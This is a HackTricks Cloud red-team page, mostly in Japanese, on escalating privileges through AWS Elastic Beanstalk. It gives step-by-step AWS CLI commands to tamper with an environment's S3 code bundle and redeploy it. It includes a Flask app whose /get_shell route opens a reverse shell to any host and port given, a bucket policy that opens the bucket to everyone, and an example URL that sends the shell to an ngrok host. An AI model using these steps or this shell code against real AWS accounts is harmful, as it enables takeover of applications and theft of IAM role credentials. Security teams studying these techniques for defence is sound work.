AWS - Elastic Beanstalk Privesc
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Elastic Beanstalk
Elastic Beanstalk に関する詳細情報は以下を参照してください:
Warning
Beanstalk で機密性の高い操作を行うには、多数の異なるサービスに対する多くの機密権限が必要になります。たとえば、
arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalkに付与されている権限を確認できます。
elasticbeanstalk:RebuildEnvironment, S3 の書き込み権限など多数
環境のコードを含む S3 バケットへの書き込み権限 とアプリケーションを再構築する権限(elasticbeanstalk:RebuildEnvironment と S3、EC2、Cloudformation に関連するいくつかの他の権限が必要です)があれば、コードを改変してアプリを再構築でき、次回アプリにアクセスした際に改変したコードが実行されます。これにより攻撃者はアプリケーションおよびその IAM ロールの資格情報を乗っ取ることが可能になります。
# Create folder
mkdir elasticbeanstalk-eu-west-1-947247140022
cd elasticbeanstalk-eu-west-1-947247140022
# Download code
aws s3 sync s3://elasticbeanstalk-eu-west-1-947247140022 .
# Change code
unzip 1692777270420-aws-flask-app.zip
zip 1692777270420-aws-flask-app.zip <files to zip>
# Upload code
aws s3 cp 1692777270420-aws-flask-app.zip s3://elasticbeanstalk-eu-west-1-947247140022/1692777270420-aws-flask-app.zip
# Rebuild env
aws elasticbeanstalk rebuild-environment --environment-name "env-name"
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, など…
上記に加え、いくつかの S3, EC2, cloudformation, autoscaling および elasticloadbalancing の権限が、ゼロから基本的な Elastic Beanstalk シナリオを作成するために必要です。
- AWS Elastic Beanstalk アプリケーションを作成する:
aws elasticbeanstalk create-application --application-name MyApp
- AWS Elastic Beanstalk 環境を作成する (supported platforms):
aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
環境が既に作成されており、新しい環境を作成したくない場合は、既存の環境を単に更新することができます。
- アプリケーションのコードと依存関係をZIPファイルにパッケージ化します:
zip -r MyApp.zip .
- ZIPファイルをS3バケットにアップロードする:
aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
- AWS Elastic Beanstalk のアプリケーションバージョンを作成する:
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
- アプリケーションのバージョンを AWS Elastic Beanstalk 環境にデプロイする:
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, cloudformation:GetTemplate, cloudformation:DescribeStackResources, cloudformation:DescribeStackResource, autoscaling:DescribeAutoScalingGroups, autoscaling:SuspendProcesses, autoscaling:SuspendProcesses
まず最初に、previous stepsに従って実行したいcodeを含むlegit Beanstalk environmentを作成する必要があります。簡単なzipで以下の2 filesを含めるだけで済む場合があります:
from flask import Flask, request, jsonify
import subprocess,os, socket
application = Flask(__name__)
@application.errorhandler(404)
def page_not_found(e):
return jsonify('404')
@application.route("/")
def index():
return jsonify('Welcome!')
@application.route("/get_shell")
def search():
host=request.args.get('host')
port=request.args.get('port')
if host and port:
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,int(port)))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
return jsonify('done')
if __name__=="__main__":
application.run()
あなたが your own Beanstalk env running で rev shell を起動している状態になったら、それを migrate して victims env に移す時です。そうするには、あなたの Beanstalk S3 バケットの update the Bucket Policy を行い、victim がアクセスできるように する必要があります(この操作はバケットを open して EVERYONE に公開することになる点に注意):
{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "eb-af163bf3-d27b-4712-b795-d1e33e331ca4",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"s3:ListBucket",
"s3:ListBucketVersions",
"s3:GetObject",
"s3:GetObjectVersion",
"s3:*"
],
"Resource": [
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022",
"arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022/*"
]
},
{
"Sid": "eb-58950a8c-feb6-11e2-89e0-0800277d041b",
"Effect": "Deny",
"Principal": {
"AWS": "*"
},
"Action": "s3:DeleteBucket",
"Resource": "arn:aws:s3:::elasticbeanstalk-us-east-1-947247140022"
}
]
}
# Use a new --version-label
# Use the bucket from your own account
aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-2.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"
# These step needs the extra permissions
aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
# To get your rev shell just access the exposed web URL with params such as:
http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528
Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

